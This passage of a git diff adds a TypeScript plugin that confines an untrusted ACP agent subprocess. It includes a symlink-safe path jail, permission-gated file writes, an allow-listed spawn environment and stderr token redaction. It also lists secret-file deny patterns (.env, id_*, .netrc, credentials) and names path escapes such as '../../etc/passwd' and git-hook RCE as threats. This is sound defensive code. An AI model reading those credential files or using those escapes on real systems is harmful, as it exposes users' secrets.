RCE/token surface (S3). + if (isGitInternal(resolved)) { + throw new PathJailError( + "denied_git", + `write to git-internal path hard-rejected: ${resolved}`, + ); + } + // Never let an agent overwrite a secret either. + if (isSecretPath(resolved)) { + throw new PathJailError( + "denied_secret", + `write to secret-pattern file denied: ${resolved}`, + ); + } + + // Route the write through the action gate as `file_write_delete` (U5): + // allow → proceed, block → reject, require-approval → HITL (or + // default-deny when no human channel). Reuses the U5 helpers so the + // security floor stays single-sourced. + const gate = opts.gate; + const disposition = gate?.permissionPolicy + ? effectiveDisposition("file_write_delete", gate, { + allowUnrestricted: opts.allowUnrestricted, + }) + : "require-approval"; + + if (disposition === "block") { + throw new FsWriteDeniedError( + `file_write_delete is blocked by policy: ${resolved}`, + ); + } + if (disposition === "require-approval") { + const decision = gate + ? await runApprovalForCategory(gate, { + category: "file_write_delete", + toolName: "fs/write_text_file", + dedupeKey: `fs_write|${resolved}`, + args: { path: resolved }, + }) + : "deny"; + if (decision !== "allow") { + throw new FsWriteDeniedError( + `file_write_delete write requires approval and was not granted: ${resolved}`, + ); + } + } + // disposition === "allow" → proceed. + + // Atomic, symlink-safe create within cwd. O_NOFOLLOW (in openWithinCwd) + // guards ONLY the FINAL component; an intermediate dir swapped to a symlink + // is still followed. We therefore must NOT pass O_TRUNC into open(): doing + // so would TRUNCATE an escaped target BEFORE openWithinCwd's post-open + // realpath re-validation gets to reject it (write-path TOCTOU, FIX 3). + // Instead open create+write WITHOUT truncate, let openWithinCwd run its + // re-validation, and ONLY truncate (via the fd) AFTER it has proven the + // opened inode is still inside the jail. + const handle = await openWithinCwd( + resolved, + opts.cwd, + fsConstants.O_WRONLY | fsConstants.O_CREAT, + 0o644, + ); + try { + // Truncate-AFTER-validate: openWithinCwd returned only because the + // re-validation passed, so it is now safe to empty the file and write. + await handle.truncate(0); + await handle.writeFile(content, { encoding: "utf8" }); + } finally { + await handle.close().catch(() => undefined); + } + return {}; + }; + } + + return handlers; +} diff --git a/plugins/fusion-plugin-acp-runtime/src/index.ts b/plugins/fusion-plugin-acp-runtime/src/index.ts new file mode 100644 index 0000000000..19468c9b2d --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/index.ts @@ -0,0 +1,62 @@ +import { definePlugin } from "@fusion/plugin-sdk"; +import type { FusionPlugin, PluginRuntimeFactory, PluginRuntimeManifestMetadata } from "@fusion/plugin-sdk"; +import { resolveCliSettings } from "./cli-spawn.js"; +import { AcpRuntimeAdapter } from "./runtime-adapter.js"; +import { killAllProcesses } from "./process-manager.js"; + +// Reap any live agent subprocesses on hard process exit so none are orphaned +// (KTD4 — the registry SIGKILL is the authoritative no-orphan guarantee). Scoped +// to tracked agent subprocesses only; never touches other processes/ports. +process.on("exit", killAllProcesses); + +export const ACP_RUNTIME_ID = "acp"; +const ACP_RUNTIME_VERSION = "0.1.0"; + +export const acpRuntimeMetadata: PluginRuntimeManifestMetadata = { + runtimeId: ACP_RUNTIME_ID, + name: "ACP Runtime", + description: "Drives any external ACP-compatible agent over JSON-RPC/stdio", + version: ACP_RUNTIME_VERSION, +}; + +export const acpRuntimeFactory: PluginRuntimeFactory = async (ctx) => + new AcpRuntimeAdapter(ctx.settings as Record | undefined); + +const plugin: FusionPlugin = definePlugin({ + manifest: { + id: "fusion-plugin-acp-runtime", + name: "ACP Runtime Plugin", + version: ACP_RUNTIME_VERSION, + description: "Drives any external ACP-compatible agent over JSON-RPC/stdio", + runtime: acpRuntimeMetadata, + }, + state: "installed", + hooks: { + onLoad: (ctx) => { + const settings = resolveCliSettings(ctx.settings as Record); + ctx.logger.info( + // Log the arg COUNT, not values — args can carry inline tokens/secrets. + `ACP Runtime Plugin loaded — binary=${settings.binaryPath} argCount=${settings.args.length} ` + + `fsRead=${settings.fsRead} fsWrite=${settings.fsWrite}`, + ); + // Risk S1: the ACP agent is an untrusted subprocess. Acknowledging the + // unrestricted policy disables the per-call approval escalation — warn so + // it is a deliberate, visible choice. + if (settings.allowUnrestricted) { + ctx.logger.warn( + "ACP Runtime: acpAllowUnrestricted is set — sensitive tool calls from the untrusted agent " + + "will be auto-approved under an allow-all policy. Prefer an approval-required policy.", + ); + } + }, + }, + runtime: { + metadata: acpRuntimeMetadata, + factory: acpRuntimeFactory, + }, +}); + +export default plugin; +export { AcpRuntimeAdapter }; +export { resolveCliSettings } from "./cli-spawn.js"; +export type { AcpCliSettings } from "./cli-spawn.js"; diff --git a/plugins/fusion-plugin-acp-runtime/src/path-jail.ts b/plugins/fusion-plugin-acp-runtime/src/path-jail.ts new file mode 100644 index 0000000000..e584e5a9a6 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/path-jail.ts @@ -0,0 +1,228 @@ +// U7 — the SECURITY BOUNDARY for client filesystem capabilities (KTD6a / Risk S3). +// +// `project-root-guard.ts` is a `.fusion`-suffix / git-worktree STRING check, NOT +// a path jail — it is deliberately NOT used here. This module is a real +// symlink-resolving confinement jail. The ACP agent is an untrusted subprocess; +// every path it hands to `fs/read_text_file` / `fs/write_text_file` is hostile +// input and must be proven to resolve INSIDE the session `cwd` before any open. +// +// Threats defended (each has a test): +// 1. Lexical escape — `../../etc/passwd` normalized against cwd → reject. +// 2. Symlink escape — a symlink INSIDE cwd pointing at /etc: lexical +// normalization passes but the REAL target is outside. +// We resolve realpath (follow symlinks) and require it +// within realpath(cwd). New files: validate realpath of +// the PARENT, then lstat the final component and reject +// if it is itself a symlink. +// 3. TOCTOU — `openWithinCwd` opens with O_NOFOLLOW on the final +// component and re-validates the opened fd, so a +// component cannot be swapped for a symlink between +// check and open. +// 4. Secret reads — `.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`, +// `id_*`, `credentials` (by basename) → denied. +// 5. Git-internals write — anything under a `.git/` dir → hard-reject. +// 6. NUL bytes / absolute-escape / separator tricks → reject. + +import { constants as fsConstants } from "node:fs"; +import { open, realpath, lstat } from "node:fs/promises"; +import type { FileHandle } from "node:fs/promises"; +import * as path from "node:path"; + +/** Typed jail rejection. `code` lets callers map to the right JSON-RPC error. */ +export type PathJailErrorCode = + | "path_outside_cwd" + | "denied_secret" + | "denied_git" + | "invalid_path"; + +export class PathJailError extends Error { + readonly code: PathJailErrorCode; + constructor(code: PathJailErrorCode, message: string) { + super(message); + this.code = code; + this.name = "PathJailError"; + } +} + +/** Secret-bearing basenames/patterns that must never be read even inside cwd. */ +const SECRET_BASENAME_PATTERNS: RegExp[] = [ + /^\.env($|\..*$)/i, // .env, .env.local, .env.production, ... + /\.pem$/i, + /\.key$/i, + /^\.npmrc$/i, + /^\.netrc$/i, + /^id_.+$/i, // id_rsa, id_ed25519, id_rsa.pub, ... + /^credentials$/i, + /^\.git-credentials$/i, // git stored plaintext credentials + /\.p12$/i, // PKCS#12 keystore + /\.pfx$/i, // PKCS#12 keystore (Windows) + /\.(keystore|jks)$/i, // Java keystore + /^\.dockercfg$/i, // legacy docker registry auth + /^\.pgpass$/i, // PostgreSQL password file + /^\.htpasswd$/i, // Apache basic-auth credentials +]; + +/** + * Is `resolved` a secret file by basename? Confinement-independent: secrets that + * legitimately live inside the worktree are still denied (KTD6a deny-list). + */ +export function isSecretPath(resolved: string): boolean { + const base = path.basename(resolved); + return SECRET_BASENAME_PATTERNS.some((re) => re.test(base)); +} + +/** + * Is `resolved` inside a `.git/` directory (git internals)? Writing here yields + * RCE (`.git/hooks/pre-commit`) or token theft (`.git/config`) — hard-reject + * writes regardless of cwd membership (KTD6a deny-list). + */ +export function isGitInternal(resolved: string): boolean { + const segments = resolved.split(path.sep); + return segments.includes(".git"); +} + +/** Reject a raw request path with NUL bytes or that is empty/non-string. */ +function rejectMalformed(requestedPath: string): void { + if (typeof requestedPath !== "string" || requestedPath.length === 0) { + throw new PathJailError("invalid_path", "empty or non-string path"); + } + if (requestedPath.includes("\0")) { + throw new PathJailError("invalid_path", "path contains a NUL byte"); + } +} + +/** True iff `child` is `parent` or a descendant of it (both already real). */ +function isWithin(parent: string, child: string): boolean { + if (child === parent) return true; + const withSep = parent.endsWith(path.sep) ? parent : parent + path.sep; + return child.startsWith(withSep); +} + +/** + * Resolve `requestedPath` (relative to `cwd`, or absolute) to a SAFE absolute + * path proven to live inside the realpath of `cwd`, or throw `PathJailError`. + * + * - Existing target: resolve realpath of the target (follows all symlinks) and + * require it within realpath(cwd). + * - Non-existent target (a new file to write): resolve realpath of the PARENT + * dir, require THAT within realpath(cwd), then `lstat` the final component and + * reject if it is a symlink (a dangling symlink would otherwise let a later + * open follow it out of the jail). + * + * The returned path is `realpath(parent) + basename` — safe to hand to + * `openWithinCwd`, which re-validates atomically (O_NOFOLLOW) to close TOCTOU. + */ +export async function assertPathWithinCwd( + requestedPath: string, + cwd: string, +): Promise { + rejectMalformed(requestedPath); + + // Realpath of the confinement root. If cwd itself can't be resolved, nothing + // can be confined — treat as invalid. + let realCwd: string; + try { + realCwd = await realpath(cwd); + } catch { + throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`); + } + + // Resolve the requested path lexically against cwd FIRST (handles `../`). + const absRequested = path.resolve(realCwd, requestedPath); + + // Try to realpath the target itself (exists case). + let resolved: string; + let targetExists = true; + try { + resolved = await realpath(absRequested); + } catch { + targetExists = false; + // Non-existent target: validate the parent dir's realpath, keep the final + // component name. The parent MUST exist and resolve inside cwd. + const parent = path.dirname(absRequested); + let realParent: string; + try { + realParent = await realpath(parent); + } catch { + throw new PathJailError( + "path_outside_cwd", + `parent directory does not resolve: ${parent}`, + ); + } + if (!isWithin(realCwd, realParent)) { + throw new PathJailError( + "path_outside_cwd", + `resolved parent escapes cwd: ${realParent}`, + ); + } + resolved = path.join(realParent, path.basename(absRequested)); + } + + if (!isWithin(realCwd, resolved)) { + throw new PathJailError( + "path_outside_cwd", + `resolved path escapes cwd: ${resolved}`, + ); + } + + // For a non-existent target, the final component must not already be a + // (dangling) symlink that a later open could follow out of the jail. + if (!targetExists) { + try { + const st = await lstat(resolved); + if (st.isSymbolicLink()) { + throw new PathJailError( + "path_outside_cwd", + `final component is a symlink: ${resolved}`, + ); + } + } catch (err) { + if (err instanceof PathJailError) throw err; + // ENOENT for a not-yet-created file is expected — fine to proceed. + } + } + + return resolved; +} + +/** + * Open a jail-validated path atomically (TOCTOU defense, Risk S3 threat 3). + * + * `safePath` MUST be the output of `assertPathWithinCwd`. We open with + * `O_NOFOLLOW` so the FINAL component is never followed if it was swapped for a + * symlink between check and open, then `fstat` + realpath-via-fd re-validate the + * actually-opened inode is still inside `realCwd`. On any mismatch we close and + * throw rather than operate on an escaped handle. + */ +export async function openWithinCwd( + safePath: string, + cwd: string, + flags: number, + mode?: number, +): Promise { + let realCwd: string; + try { + realCwd = await realpath(cwd); + } catch { + throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`); + } + + const handle = await open(safePath, flags | fsConstants.O_NOFOLLOW, mode); + try { + // Re-validate the opened inode's real path is still within the jail. On + // Linux `/proc/self/fd/` would work; portably we realpath the safePath + // again now that O_NOFOLLOW proved the final component isn't a symlink — any + // intermediate swap would change this resolution. + const reReal = await realpath(safePath); + if (!isWithin(realCwd, reReal)) { + throw new PathJailError( + "path_outside_cwd", + `opened path escapes cwd after open: ${reReal}`, + ); + } + return handle; + } catch (err) { + await handle.close().catch(() => undefined); + throw err; + } +} diff --git a/plugins/fusion-plugin-acp-runtime/src/probe.ts b/plugins/fusion-plugin-acp-runtime/src/probe.ts new file mode 100644 index 0000000000..48c4bf6799 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/probe.ts @@ -0,0 +1,104 @@ +// Async readiness probe + failure taxonomy for the ACP runtime. +// +// Mirrors the droid-runtime async-probe convention (KTD4): never block the +// event loop, never throw into it — always resolve a typed status. The probe +// spawns the agent, completes (or fails) the `initialize` handshake under a +// timeout, and maps the outcome onto a small failure taxonomy so the UI can +// distinguish "binary missing" from "handshake stalled" from "needs auth". + +import { + connect, + HandshakeTimeoutError, + IncompatibleProtocolError, + DEFAULT_INITIALIZE_TIMEOUT_MS, +} from "./provider.js"; + +export type AcpProbeReason = + | "ok" + | "missing_binary" + | "spawn_error" + | "handshake_timeout" + | "incompatible_protocol" + | "unauthenticated"; + +export interface AcpProbeStatus { + ok: boolean; + reason: AcpProbeReason; + detail?: string; + protocolVersion?: number; + authRequired?: boolean; +} + +export interface ProbeOptions { + binaryPath: string; + args: string[]; + cwd: string; + env: NodeJS.ProcessEnv; + timeoutMs?: number; +} + +function isMissingBinary(err: unknown): boolean { + const code = (err as NodeJS.ErrnoException | undefined)?.code; + return code === "ENOENT"; +} + +/** + * Probe whether the configured ACP agent is present and completes the handshake. + * + * Never rejects — resolves an `AcpProbeStatus`. Always tears the spawned process + * down afterward (success or failure). Mapping: + * - ENOENT spawn error → `missing_binary` + * - other spawn error → `spawn_error` + * - handshake timeout → `handshake_timeout` + * - mismatched protocol version → `incompatible_protocol` + * - non-empty authMethods → `ok` with `authRequired: true` + */ +export async function probeAcpReadiness(opts: ProbeOptions): Promise { + const timeoutMs = opts.timeoutMs ?? DEFAULT_INITIALIZE_TIMEOUT_MS; + let connection: Awaited> | undefined; + try { + connection = await connect({ + binaryPath: opts.binaryPath, + args: opts.args, + cwd: opts.cwd, + env: opts.env, + // Probe with fs capabilities OFF — readiness must not advertise anything + // the real session might not (KTD6). + advertiseFs: { read: false, write: false }, + initializeTimeoutMs: timeoutMs, + }); + + const authRequired = connection.authMethods.length > 0; + return { + ok: true, + reason: "ok", + authRequired, + }; + } catch (err) { + if (err instanceof HandshakeTimeoutError) { + return { ok: false, reason: "handshake_timeout", detail: err.message }; + } + if (err instanceof IncompatibleProtocolError) { + return { + ok: false, + reason: "incompatible_protocol", + detail: err.message, + protocolVersion: err.agentProtocolVersion, + }; + } + if (isMissingBinary(err)) { + return { + ok: false, + reason: "missing_binary", + detail: `ACP agent binary not found: ${opts.binaryPath}`, + }; + } + return { + ok: false, + reason: "spawn_error", + detail: err instanceof Error ? err.message : String(err), + }; + } finally { + connection?.dispose(); + } +} diff --git a/plugins/fusion-plugin-acp-runtime/src/process-manager.ts b/plugins/fusion-plugin-acp-runtime/src/process-manager.ts new file mode 100644 index 0000000000..db5f369503 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/process-manager.ts @@ -0,0 +1,160 @@ +// Subprocess lifecycle for the ACP runtime. +// +// Mirrors the hardening conventions in +// `plugins/fusion-plugin-droid-runtime/src/process-manager.ts`: a self-cleaning +// process registry, SIGKILL teardown scoped to agent subprocesses only (never +// the dashboard/port-4040 — KTD4), bounded stderr capture with secret redaction +// (Risk S8), and a high inactivity ceiling (the engine's StuckTaskDetector is +// the authoritative aborter — KTD4). +// +// The ACP agent is UNTRUSTED. The spawn env is built from an explicit allow-list +// (KTD6b), never inherited `process.env`, so secret-bearing vars are not handed +// to the agent. + +import { spawn, type ChildProcess } from "node:child_process"; + +function debugLog(message: string): void { + if (process.env.PI_ACP_DEBUG !== "1") return; + console.error(`[acp-runtime] ${message}`); +} + +/** Registry of active agent subprocesses for teardown. Self-cleans on exit. */ +const activeProcesses = new Set(); + +/** + * Register a subprocess in the agent process registry. + * Auto-removed from the registry when it exits. + */ +export function registerProcess(child: ChildProcess): void { + activeProcesses.add(child); + child.on("exit", () => activeProcesses.delete(child)); +} + +/** Remove a subprocess from the registry (idempotent). */ +export function unregisterProcess(child: ChildProcess): void { + activeProcesses.delete(child); +} + +/** Number of registered (presumed-live) agent subprocesses — for diagnostics/tests. */ +export function activeProcessCount(): number { + return activeProcesses.size; +} + +/** + * Force-kill a subprocess via SIGKILL. No-op if already dead (killed or exited). + * Cross-platform safe: Node treats SIGKILL as forceful termination on Windows. + */ +export function forceKill(child: ChildProcess): void { + if (child.killed || child.exitCode !== null) return; + try { + child.kill("SIGKILL"); + } catch { + // already gone + } +} + +/** + * Force-kill every registered agent subprocess and clear the registry. + * + * Scoped to agent subprocesses tracked here only — never the dashboard / port + * 4040 / any other process (KTD4 / kill-guard conventions). Safe to call + * repeatedly; no-ops on already-dead processes. + */ +export function killAllProcesses(): void { + for (const child of activeProcesses) { + forceKill(child); + } + activeProcesses.clear(); +} + +/** + * Build the subprocess environment from an explicit allow-list (KTD6b). + * + * Returns ONLY allow-listed vars copied from `process.env`. The full env is + * never inherited — the agent is untrusted and must not receive secret-bearing + * vars. Returns an empty env by default (empty allow-list). + */ +export function buildSpawnEnv(allowList: string[]): NodeJS.ProcessEnv { + const env: NodeJS.ProcessEnv = {}; + for (const key of allowList) { + const value = process.env[key]; + if (typeof value === "string") env[key] = value; + } + return env; +} + +export interface SpawnAgentOptions { + binaryPath: string; + args: string[]; + cwd: string; + env: NodeJS.ProcessEnv; +} + +/** + * Spawn the ACP agent subprocess with piped stdio. + * + * Registers the child on spawn and unregisters it on exit. The caller wraps + * stdin/stdout into a web stream for `ndJsonStream`. + */ +export function spawnAgent(options: SpawnAgentOptions): ChildProcess { + const child = spawn(options.binaryPath, options.args, { + stdio: ["pipe", "pipe", "pipe"], + cwd: options.cwd, + env: options.env, + }); + registerProcess(child); + debugLog(`spawnAgent: pid=${child.pid} binary=${options.binaryPath}`); + return child; +} + +// --- stderr capture + secret redaction (Risk S8) -------------------------- + +/** Maximum stderr bytes retained; older output is dropped to bound memory. */ +const STDERR_BUFFER_CEILING = 64 * 1024; + +/** + * Redact token-like / auth patterns from text so auth errors don't leak + * verbatim into the stderr buffer or logs (Risk S8). Best-effort: covers + * bearer tokens, `Authorization:` header values, `key=`/`token=`/`secret=` + * assignments, and long base64/hex secrets. + */ +export function redactSecrets(text: string): string { + return ( + text + // Authorization: Bearer / Authorization: + .replace(/(authorization\s*[:=]\s*)(bearer\s+)?[^\s,;"']+/gi, "$1$2[REDACTED]") + // Bearer + .replace(/\b(bearer)\s+[A-Za-z0-9._\-+/=]+/gi, "$1 [REDACTED]") + // key=... token=... secret=... password=... apikey=... (quoted or bare) + .replace( + /\b((?:api[_-]?key|key|token|secret|password|passwd|pwd|access[_-]?token|refresh[_-]?token|client[_-]?secret)\s*[:=]\s*)("?)[^\s,;"']+\2/gi, + "$1$2[REDACTED]$2", + ) + // sk-/ghp_/github_pat_/xoxb-/AKIA-style long opaque tokens + .replace(/\b(sk-|ghp_|gho_|github_pat_|xox[abpr]-|AKIA)[A-Za-z0-9_\-]{8,}/g, "[REDACTED]") + // standalone long base64/hex secrets (>=32 chars) + .replace(/\b[A-Za-z0-9+/]{40,}={0,2}\b/g, "[REDACTED]") + .replace(/\b[0-9a-fA-F]{32,}\b/g, "[REDACTED]") + ); +} + +/** + * Accumulate stderr into a bounded, secret-redacted buffer. + * Returns a getter for the current (redacted) buffer contents. + */ +export function captureStderr(child: ChildProcess): () => string { + // FIX 5: redacting each chunk in isolation leaks a secret that straddles a + // chunk boundary (the token is split across two `data` events so neither half + // matches a pattern). Accumulate the RAW bytes into a bounded buffer first, + // then redact across the whole (bounded) buffer after each append so a + // boundary-spanning secret is caught. The buffer stays bounded by the existing + // ceiling; the returned getter always reports the redacted view. + let raw = ""; + child.stderr?.on("data", (data: Buffer) => { + raw += data.toString(); + if (raw.length > STDERR_BUFFER_CEILING) { + raw = raw.slice(raw.length - STDERR_BUFFER_CEILING); + } + }); + return () => redactSecrets(raw); +} diff --git a/plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts b/plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts new file mode 100644 index 0000000000..4bbda15e49 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts @@ -0,0 +1,49 @@ +// Builds ACP `ContentBlock[]` from a Fusion prompt. +// +// U3 core path: a plain string prompt becomes a single `{ type: "text", text }` +// block. The runtime may later pass structured content (e.g. an attached image); +// when present we emit the matching block. Keep this small and pure. + +import type { ContentBlock } from "@agentclientprotocol/sdk"; + +/** Optional structured content the runtime may attach alongside the text prompt. */ +export interface PromptImage { + /** Base64-encoded image data (no data: prefix). */ + data: string; + /** MIME type, e.g. "image/png". */ + mimeType: string; + /** Optional source URI for the image. */ + uri?: string; +} + +export interface BuildPromptOptions { + /** Image content to append as image block(s) after the text. */ + images?: PromptImage[]; +} + +/** + * Build the ACP prompt content blocks for a turn. + * + * A non-empty string yields one text block. An empty/whitespace-only string + * yields no text block (but any attached images are still included), so we never + * send a meaningless empty text block. Images, when supplied, are appended as + * `image` blocks (passthrough — KTD ContentBlock image variant). + */ +export function buildPromptBlocks(prompt: string, opts?: BuildPromptOptions): ContentBlock[] { + const blocks: ContentBlock[] = []; + + if (typeof prompt === "string" && prompt.trim().length > 0) { + blocks.push({ type: "text", text: prompt }); + } + + for (const image of opts?.images ?? []) { + blocks.push({ + type: "image", + data: image.data, + mimeType: image.mimeType, + ...(image.uri ? { uri: image.uri } : {}), + }); + } + + return blocks; +} diff --git a/plugins/fusion-plugin-acp-runtime/src/provider.ts b/plugins/fusion-plugin-acp-runtime/src/provider.ts new file mode 100644 index 0000000000..0c60f4498f --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/provider.ts @@ -0,0 +1,438 @@ +// ACP connection layer: spawn → ClientSideConnection → initialize handshake. +// +// U2 establishes the transport and completes the `initialize` handshake with +// integer protocol-version negotiation (KTD2) and a readiness timeout. Session +// driving (`session/new`, `session/prompt`, cancel, load) is U3 — this unit only +// exposes the live `conn` on the returned handle so later units can drive it. +// +// Security posture (KTD6): filesystem client capabilities are advertised ONLY +// when the caller's `advertiseFs` toggle is true — never hardcoded. Teardown is +// registry-SIGKILL-authoritative (KTD4a): `dispose()` force-kills the child via +// the process registry; that kill is the no-orphan guarantee, not a graceful +// round-trip. + +import { Readable, Writable } from "node:stream"; +import type { ChildProcess } from "node:child_process"; +import { + ClientSideConnection, + ndJsonStream, + PROTOCOL_VERSION, + type Agent, + type AgentCapabilities, + type Client, + type ContentBlock, + type RequestPermissionResponse, + type StopReason, +} from "@agentclientprotocol/sdk"; +import { spawnAgent, captureStderr, forceKill, unregisterProcess } from "./process-manager.js"; +import { createEventBridge } from "./event-bridge.js"; +import { resolvePermission, type ResolvePermissionOptions } from "./control-handler.js"; +import { createFsHandlers } from "./fs-capabilities.js"; +import { boundIdentifier } from "./sanitize.js"; +import type { AcpCallbacks, PermissionGate } from "./types.js"; + +/** Options enabling the U7 fs client capabilities on the bridging handler. */ +export interface FsHandlerBuildOptions { + /** Confinement root — the session cwd / task worktree. */ + cwd: string; + /** Register `readTextFile` (advertised iff true). */ + allowRead: boolean; + /** Register `writeTextFile` (default OFF — KTD6; advertised iff true). */ + allowWrite: boolean; +} + +/** Default bound for the `initialize` handshake. */ +export const DEFAULT_INITIALIZE_TIMEOUT_MS = 30_000; + +/** Thrown when the agent negotiates an integer protocol version we don't support. */ +export class IncompatibleProtocolError extends Error { + readonly code = "incompatible_protocol" as const; + constructor( + readonly agentProtocolVersion: number, + readonly expected: number = PROTOCOL_VERSION, + ) { + super( + `ACP agent negotiated incompatible protocol version ${agentProtocolVersion} (client supports ${expected})`, + ); + this.name = "IncompatibleProtocolError"; + } +} + +/** Thrown when the `initialize` handshake does not complete within the bound. */ +export class HandshakeTimeoutError extends Error { + readonly code = "handshake_timeout" as const; + constructor(readonly timeoutMs: number) { + super(`ACP initialize handshake timed out after ${timeoutMs}ms`); + this.name = "HandshakeTimeoutError"; + } +} + +/** + * Minimal default client handler. Later units (U3/U4/U5/U7) supply the real one + * that bridges `session/update` into Fusion callbacks and routes permission + * requests through the action gate. The default cancels every permission request + * (never auto-allows an untrusted agent) and ignores updates. + */ +export function createDefaultClientHandler(): Client { + return { + async sessionUpdate() { + // no-op until the U4 event bridge is wired + }, + async requestPermission() { + return { outcome: { outcome: "cancelled" } }; + }, + }; +} + +/** A bridging client handler plus a drain control for its in-flight permissions. */ +export interface BridgingClientHandler { + /** The ACP `Client` impl handed to `ClientSideConnection`. */ + handler: Client; + /** + * Resolve every in-flight `requestPermission` with `{ cancelled }` and mark the + * handler cancelled so any request arriving afterward is answered cancelled + * immediately (U5 cancel-drain — KTD4a). Idempotent. + */ + cancelPending(): void; + /** + * Reset the event bridge's PER-TURN state (tool correlation, delta + * accumulators, cumulative-output counter, output-cap latch). MUST be called + * at the start of each prompt turn so a turn that trips the per-turn output cap + * does not silently suppress every subsequent turn (FIX 1). + */ + resetTurn(): void; +} + +/** + * The real client handler (U4 + U5): bridges every `session/update` notification + * into the engine callbacks, AND answers `session/request_permission` through the + * per-category action gate (U5 — the SECURITY FLOOR). + * + * Permission requests are routed to `resolvePermission`, which classifies each + * call per-category against the live `gate` and selects `allow_once` only (never + * `*_always`). When no `gate` is supplied the resolver default-denies. + * + * Cancel-drain (KTD4a / Risk: in-flight permission deadlock): every pending + * `requestPermission` promise is tracked; `cancelPending()` resolves them all + * with `{ cancelled }`. A request that arrives AFTER cancel is answered + * `{ cancelled }` immediately so the agent never blocks on teardown. + */ +export function createBridgingClientHandler( + callbacks: AcpCallbacks, + gate?: PermissionGate, + fsOpts?: FsHandlerBuildOptions, + permissionOpts?: ResolvePermissionOptions, +): BridgingClientHandler { + const bridge = createEventBridge(callbacks); + + // U7: build the fs handlers, returning only the enabled ones. They are added + // to the handler below ONLY when present, keeping the advertised-capability / + // registered-handler invariant consistent (KTD6). + const fsHandlers = fsOpts + ? createFsHandlers({ + cwd: fsOpts.cwd, + gate, + allowRead: fsOpts.allowRead, + allowWrite: fsOpts.allowWrite, + allowUnrestricted: permissionOpts?.allowUnrestricted, + }) + : {}; + + const cancelledResponse: RequestPermissionResponse = { + outcome: { outcome: "cancelled" }, + }; + + let cancelled = false; + // Each entry resolves its pending requestPermission with a cancelled outcome. + const pending = new Set<(response: RequestPermissionResponse) => void>(); + + function cancelPending(): void { + cancelled = true; + for (const resolveCancelled of [...pending]) { + resolveCancelled(cancelledResponse); + } + pending.clear(); + } + + const handler: Client = { + async sessionUpdate(params) { + bridge.handleSessionUpdate(params.update); + }, + async requestPermission(params): Promise { + // A request arriving after cancel is answered cancelled immediately. + if (cancelled) return cancelledResponse; + + // Race the real gate resolution against a cancel-drain so an in-flight + // request is answered the moment teardown drains it (never deadlocks). + return await new Promise((resolve) => { + let settled = false; + const finish = (response: RequestPermissionResponse) => { + if (settled) return; + settled = true; + pending.delete(drain); + resolve(response); + }; + const drain = (response: RequestPermissionResponse) => finish(response); + pending.add(drain); + + resolvePermission(params.toolCall, params.options, gate, permissionOpts).then( + (response) => finish(response), + // resolvePermission never rejects, but stay safe: deny-by-cancel. + () => finish(cancelledResponse), + ); + }); + }, + }; + + // Register fs handlers ONLY when enabled, so the advertised capability and the + // present handler stay consistent (KTD6). If a capability is disabled the + // method is absent → an agent calling it gets a JSON-RPC method-not-found + // error (never a silent success). + if (fsHandlers.readTextFile) handler.readTextFile = fsHandlers.readTextFile; + if (fsHandlers.writeTextFile) handler.writeTextFile = fsHandlers.writeTextFile; + + return { handler, cancelPending, resetTurn: () => bridge.reset() }; +} + +export interface AcpConnection { + /** Live ACP connection — later units drive session/new, prompt, cancel, load. */ + conn: ClientSideConnection; + child: ChildProcess; + agentCapabilities?: AgentCapabilities; + /** Auth methods the agent advertised; non-empty means auth is required. */ + authMethods: Array<{ id: string }>; + /** Current redacted stderr buffer. */ + stderr(): string; + /** Force-kill the agent via the registry (KTD4a — SIGKILL is authoritative). */ + dispose(): void; +} + +export interface ConnectOptions { + binaryPath: string; + args: string[]; + cwd: string; + env: NodeJS.ProcessEnv; + clientHandler?: Client; + /** Advertise fs capabilities ONLY where the toggle is true (KTD6). */ + advertiseFs: { read: boolean; write: boolean }; + initializeTimeoutMs?: number; +} + +function withTimeout(promise: Promise, ms: number, onTimeout: () => Error): Promise { + return new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(onTimeout()), ms); + timer.unref?.(); + promise.then( + (value) => { + clearTimeout(timer); + resolve(value); + }, + (err) => { + clearTimeout(timer); + reject(err); + }, + ); + }); +} + +/** + * Spawn the agent, establish a `ClientSideConnection` over its stdio, and + * complete the `initialize` handshake under a timeout. + * + * Throws `HandshakeTimeoutError` on timeout, `IncompatibleProtocolError` when + * the negotiated integer protocol version mismatches — in both cases the + * subprocess is force-killed before throwing (no orphans, KTD4a). On `initialize` + * the fs capability flags are gated by `advertiseFs` and never hardcoded (KTD6). + */ +export async function connect(opts: ConnectOptions): Promise { + const timeoutMs = opts.initializeTimeoutMs ?? DEFAULT_INITIALIZE_TIMEOUT_MS; + const child = spawnAgent({ + binaryPath: opts.binaryPath, + args: opts.args, + cwd: opts.cwd, + env: opts.env, + }); + const stderr = captureStderr(child); + + let disposed = false; + const dispose = () => { + if (disposed) return; + disposed = true; + forceKill(child); + unregisterProcess(child); + }; + + // If the binary is missing, spawn emits "error" asynchronously. Surface that + // as a rejection of the handshake rather than an unhandled event-loop error. + let spawnError: Error | undefined; + const spawnErrored = new Promise((_resolve, reject) => { + child.once("error", (err: Error) => { + spawnError = err; + reject(err); + }); + }); + // Avoid an unhandled rejection if the handshake resolves/throws first. + spawnErrored.catch(() => undefined); + + // output = the agent's stdin; input = the agent's stdout. + const stream = ndJsonStream( + Writable.toWeb(child.stdin!) as unknown as WritableStream, + Readable.toWeb(child.stdout!) as unknown as ReadableStream, + ); + + const handler = opts.clientHandler ?? createDefaultClientHandler(); + const conn = new ClientSideConnection((_agent: Agent) => handler, stream); + + let initResult: Awaited>; + try { + initResult = await Promise.race([ + withTimeout( + conn.initialize({ + protocolVersion: PROTOCOL_VERSION, + clientCapabilities: { + fs: { + readTextFile: opts.advertiseFs.read === true, + writeTextFile: opts.advertiseFs.write === true, + }, + }, + }), + timeoutMs, + () => new HandshakeTimeoutError(timeoutMs), + ), + spawnErrored, + ]); + } catch (err) { + dispose(); + if (spawnError && err === spawnError) throw spawnError; + throw err; + } + + // Compare the negotiated integer protocol version; do NOT assume the 